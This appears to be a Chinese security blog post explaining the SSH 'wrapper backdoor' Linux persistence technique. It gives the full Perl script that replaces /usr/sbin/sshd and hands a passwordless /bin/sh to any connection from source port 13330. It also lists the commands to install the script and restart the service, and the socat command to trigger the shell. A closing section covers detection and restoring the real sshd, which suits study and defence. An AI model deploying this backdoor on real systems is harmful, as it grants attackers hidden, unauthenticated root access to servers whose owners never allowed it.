LINUX权限维持之Wrapper后门隐藏

 1. 核心概念:什么是Wrapper后门?(如果你利用的是Socks5转发隧道去链接,此方案无效!)

Wrapper(包装器)后门是一种不修改原始二进制文件,而是在其外部“包裹”一层恶意逻辑的攻击技术。
类比理解:想象一个正常的程序是一根水管。Wrapper后门不是破坏水管,而是在水管外面套一个“三通接头”,让水流(数据/命令)既能正常流出,又能偷偷分出一部分到攻击者手里。

2. 创建后门步骤

移动原先的sshd程序到 /usr/bin/sshd 然后删除 /usr/sbin/sshd 接着创建sshd文件,并写入下面内容:

#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);
exec {"/usr/bin/sshd"} "/usr/sbin/sshd", @ARGV;
图片[1]-LINUX权限维持之Wrapper后门隐藏-赤道学院

3.原理示意图

攻击者要登录SSH,就必须访问 /usr/sbin/sshd 这个文件。
攻击者把这个文件替换成了带后门的Perl脚本。

详细拆解

正常情况下
 
用户执行 ssh root@服务器
        │
        ▼
服务器运行 /usr/sbin/sshd(真·二进制程序)
        │
        ▼
sshd:要密码 → 验证 → 给Shell
/usr/sbin/sshd 是SSH登录的唯一入口程序。

 

攻击者做了什么

bash
cd /usr/sbin/                    # 进入入口程序目录
mv sshd ../bin/                  # 把真的sshd藏到/usr/bin/目录下
echo ‘#!/usr/bin/perl’ >sshd    # 新建一个Perl脚本,名字也叫sshd(冒充)
…                              # 往脚本里写后门代码
chmod u+x sshd                  # 给脚本执行权限
/etc/init.d/sshd restart        # 重启服务
结果
文件路径
变成了什么
/usr/sbin/sshd
假的(Perl后门脚本)
/usr/bin/sshd
真的(被移到这里藏起来了)

替换后发生了什么

当服务重启后,系统仍然去启动 /usr/sbin/sshd,但这个文件已经不是原来的sshd了,而是攻击者的Perl脚本。
这个Perl脚本的逻辑
text
收到SSH连接请求
        │
        ▼
检查对方的源端口是不是13330?
        │
        ├── 是 → 直接执行 /bin/sh(给Shell,不要密码)
        │
        └── 否 → 调用 /usr/bin/sshd(真的sshd,正常要密码)

text

【攻击前】

  SSH客户端 ──连接:22──→ /usr/sbin/sshd (真) ──→ 正常登录验证
 

【植入后门后】

 
  ┌─────────────────────────────────────────────────────────┐
  │                    /usr/sbin/sshd (Perl脚本)              │
  │                                                          │
  │  SSH客户端 ──连接:22──→  ┌─────────────────────┐        │
  │                          │  检查源端口是否为13330?│        │
  │                          └──────────┬──────────┘        │
  │                                    │                    │
  │              ┌──────────────────────┼──────────────────────┐
  │              │                      │                      │
  │              ▼ 是                    ▼ 否                  │
  │  ┌─────────────────┐      ┌─────────────────────────┐    │
  │  │ exec “/bin/sh”  │      │ exec{“/usr/bin/sshd”}  │    │
  │  │ 直接给Shell      │      │ 调用真正的SSHD          │    │
  │  │ 无需密码登录    │      │ 正常登录验证            │    │
  │  └─────────────────┘      └─────────────────────────┘    │
  └─────────────────────────────────────────────────────────┘

数据流向图

text
攻击者(源端口13330)          普通用户(源端口随机)
        │                          │
        │  ┌─────────────┐          │
        └──→│  Perl Wrapper │←─────────┘
            │  /usr/sbin/sshd  │
            └────────┬──────────┘
                    │
        ┌────────────┼────────────┐
        │            │            │
        ▼            ▼            ▼
  /bin/sh      /usr/bin/sshd (真)
  (直接Shell)  (正常SSH流程)
原理(逐行解释)
命令
作用
cd /usr/sbin/
进入sshd所在目录
mv sshd ../bin/
真正的sshd移动到/usr/bin/备份起来
echo ‘#!/usr/bin/perl’ >sshd
创建一个新的sshd文件,用Perl解释器运行
echo ‘exec “/bin/sh” if(…)’ >>sshd
后门核心:如果连接方源端口是13330,就直接给Shell
echo ‘exec{“/usr/bin/sshd”}…’ >>sshd
不是后门连接时,正常调用真正的sshd
chmod u+x sshd
给新sshd添加执行权限
/etc/init.d/sshd restart
重启服务,后门生效

4.Socat 测试(验证后门是否生效)

攻击端命令(测试后门)
bash
# 使用 socat 连接目标SSH端口,并设置源端口为13330
socat STDIO TCP4:目标IP:22,sourceport=13330
完整测试流程
text
【攻击者机器】                    【目标服务器】
      │                                │
      │  socat连接:22                  │
      │  源端口=13330 ────────────────→ │
      │                                │  Perl Wrapper检查源端口
      │                                │  匹配到13330 → 触发后门
      │                                │
      │  ←────────────────────────────  exec “/bin/sh”
      │                                │
      │  获得Shell ⚡                    │
      │  id                            │
      │  uid=0(root)                    │
测试命令示例

1. 测试后门连接(源端口13330)

socat STDIO TCP4:192.168.1.100:22,sourceport=13330
# 如果成功,直接进入Shell,无需登录
 

测试正常连接(普通端口,应该要登录)

2.ssh root@192.168.1.100

 应该还是要求密码/密钥登录
 
验证源端口是否生效
 
在目标服务器上实时监控连接
tcpdump -i eth0 port 22 -n -c 10
观察源端口字段是否为13330

5.后门排查方法

快速检查

1. 检查sshd文件是否是正常二进制

file /usr/sbin/sshd
 正常输出:ELF 64-bit LSB executable
 异常输出:Perl script text
 

 2. 查看sshd内容

cat /usr/sbin/sshd
如果看到 Perl 代码,说明被替换了

3. 检查是否有备份的真sshd

ls -la /usr/bin/sshd
排查命令汇总
bash
# 检查文件类型
file /usr/sbin/sshd
 

4.检查最近修改的系统文件

find /usr/sbin /usr/bin -name "sshd" -ls 2>/dev/null
 

5.检查sshd进程

ps aux | grep sshd
正常:/usr/sbin/sshd
异常:perl /usr/sbin/sshd
 

6. 检查系统日志

tail -50 /var/log/auth.log | grep sshd
journalctl -u sshd | tail -20

6. 清除与恢复

bash
# 删除恶意sshd
rm -f /usr/sbin/sshd
 
# 恢复真sshd
mv /usr/bin/sshd /usr/sbin/sshd
 
# 重启服务
/etc/init.d/sshd restart
# 或 systemctl restart sshd
 
# 验证恢复
file /usr/sbin/sshd
# 应输出:ELF 64-bit LSB executable

核心总结
特征
说明
后门类型
Wrapper脚本,包裹真正SSHD
关键文件
/usr/sbin/sshd (被替换为Perl脚本)
真sshd去向
/usr/bin/sshd
触发条件
源端口13330
测试命令
socat STDIO TCP4:目标IP:22,sourceport=13330
排查命令
file /usr/sbin/sshd
恢复方式
删除假sshd,移回真sshd

 
© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容